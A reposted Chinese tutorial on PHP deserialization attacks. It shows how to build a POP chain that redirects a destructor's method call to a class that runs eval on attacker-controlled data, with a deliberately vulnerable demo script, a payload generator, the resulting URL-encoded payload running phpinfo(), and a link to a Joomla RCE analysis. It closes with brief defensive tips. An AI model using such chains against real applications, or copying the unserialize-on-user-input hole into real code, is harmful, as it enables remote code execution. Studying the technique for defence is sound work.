php對象注入-pop鏈的構造


前言

反序列化可以控制類屬性,無論是private還是public

<?php
class A {
    private $a = "a";
    public $b = "b";
    static $c = "c";
}
$test = new A();
echo urlencode(serialize($test));

O%3A1%3A%22A%22%3A2%3A%7Bs%3A4%3A%22%00A%00a%22%3Bs%3A1%3A%22a%22%3Bs%3A1%3A%22b%22%3Bs%3A1%3A%22b%22%3B%7D

其中有個%00存在是因為private屬性。

pop鏈的利用

以前理解的序列化攻擊更多的是在魔術方法中出現一些利用的漏洞,因為自動調用從而觸發漏洞。
但如果關鍵代碼不在魔術方法中,而是在一個類的普通方法中。這時候可以通過尋找相同的函數名將類的屬性和敏感函數的屬性聯系起來。

<?php
class lemon {
    protected $ClassObj;

    function __construct() {
        $this->ClassObj = new normal();
    }

    function __destruct() {
        $this->ClassObj->action();
    }
}

class normal {
    function action() {
        echo "hello";
    }
}

class evil {
    private $data;
    function action() {
        eval($this->data);
    }
}

unserialize($_GET['d']);

lemon這個類本來是調用,normal類的,但是現在action方法在evil類里面也有,所以可以構造pop鏈,調用evil類中的action方法。

<?php
class lemon {
    protected $ClassObj;
    function __construct() {
        $this->ClassObj = new evil();
    }
}
class evil {
    private $data = "phpinfo();";
}
echo urlencode(serialize(new lemon()));
echo "\n\r";

注意的是,protected $ClassObj = new evil();是不行的,還是通過__construct來實例化。
生成poc:

O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

獲取已經包含的文件:
get_included_files()
獲取已經定義的類:
get_declared_classes()
加載所有類
__autoload()

Joomla遠程代碼執行漏洞分析

p師傅已經很詳細的進行一個說明,只是小小的總結一下,與上面相比,是lemon類直接性的new了一個對象,實際中可以在魔術方法中多找一些回調函數之類的,比如call_user_func_array,這樣就可以去實例化任意加載的對象,當然如果沒有加載的話,那就去想辦法利用import一下類。

https://www.leavesongs.com/PENETRATION/joomla-unserialize-code-execute-vulnerability.html

挖掘與防護

serialize/unserialize函數的搜索
用json_encode/json_decode


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM